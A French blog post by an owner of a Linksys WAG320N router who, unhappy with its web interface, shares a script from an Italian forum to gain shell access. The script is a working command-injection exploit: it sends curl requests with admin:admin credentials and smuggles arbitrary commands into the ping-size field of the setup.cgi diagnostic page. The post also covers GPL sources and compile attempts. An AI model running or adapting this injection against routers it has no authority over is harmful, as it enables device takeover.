J'ai fait l'acquisition d'un nouveau routeur/modem ADSL2+ et mon choix s'est porté sur le Linksys WAG320N. Les critiques semblaient bonnes, mon routeur-modem actuel, un Zyxel, plantait régulièrement après 6 ans de bons et loyaux services, mettant hors ligne mon blog.
Au menu de ce petit bijoux de technologie, que du bon ... Déjà c'est un Linksys by CISCO (je pratique les équipements professionnels CISCO depuis des années, c'est du sérieux). Ensuite, les technologies qu'il embarque, sont alléchantes :
J'ai déballé mon colis, branché la bête. Je me suis connecté à l'interface web, là j'ai commencé à déchanter : le modem/routeur Linksys WAG320N est une réelle grosse merde !!! Jugez plutôt :
Mais, je ne suis pas du genre à baisser les bras, et c'est dans l'adversité que l'homme se révèle ?!
J'ai entrepris quelques recherches et voilà le fruit de ma moisson. Le coeur du WAG 320 N est animé par Linux, il existe un moyen d'avoir un accès au shell de commande, grâce à un petit bug de l'interface web. J'ai trouvé ce script simple, sur le forum italien Hardware Upgrade :
#/bin/sh
#
# WAG320N-HACK
# Ver. 1.0
# 12/09/2010
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
# Set username and password in the form of "username:password"
# example: "admin:admin"
my_access="admin:admin"
# Parameters test
if [ -z "$1" ]
then
echo "wag320n-hack.sh: missing remote command"
echo "usage: wag320n-hack.sh <remote command>"
echo "example: wag320n-hack.sh /bin/ls -la /usr/sbin"
echo "Note: always use full path"
echo ""
echo "wag320n-hack.sh - Ver. 1.0 - 12/09/2010"
echo "Licensed under GPL V. 3"
echo ""
exit 0
fi
# Get the command
my_command="ping_size="'$('"$@"' 1>&2)'
curl -s -G -u "$my_access" --data-urlencode 'todo=ping_test' --data-urlencode 'this_file=Diagnostics.htm' --data-urlencode 'next_file=Ping.htm' --data-urlencode 'c4_ping_ipaddr=192.168.1.1' --data-urlencode 'ping_timeout=5000' --data-urlencode 'ping_interval=1000' --data-urlencode 'ping_number=1' --data-urlencode "$my_command" http://192.168.1.1/setup.cgi | sed -e '/HTTP\/1.0 200 OK/q'
Il permet d’exécuter des commandes, depuis une machine, vers le WAG320-N (pour ceux, et il y en a, qui utilisent Windows vous pouvez télécharger les outils pour exécuter un .bat équivalent ici) ! En poussant l'exploration plus avant, j'ai découvert que le script avait été amélioré pour installer un serveur ssh dans le WAG-320N et d'autres outils à télécharger ici.
En outre, le Linksys WAG320N fonctionnant avec Linux, la GPL oblige a publier les sources et les binaires qui composent l'ensemble du routeur modem WAG320N : vous pouvez les télécharger ici.
Pour compiler l'ensemble sous Linux, suivez le guide :
ifeq ($(shell uname -m),x86_64)
#DFLAGS += -march=core2 -fPIC -DFP_64BIT -DTFM_X86_64 -DRDTSC
endif
J'ai testé et réalisé l'ensemble des tests de compilation sur Ubuntu 10.04.2 LTS, sans arriver à compiler (les dernières erreurs viennent de la partie fakeroot) : HELP si vous avez des idées, je suis un peu nul en dev :p . Le thread d'origine est ici.
Côté OpenWRT, je n'ai rien trouvé de probant pour le moment.
J'ai décidé peut-être à tord de conserver cet équipement. Si, vous avez des informations complémentaires, je suis preneur !!!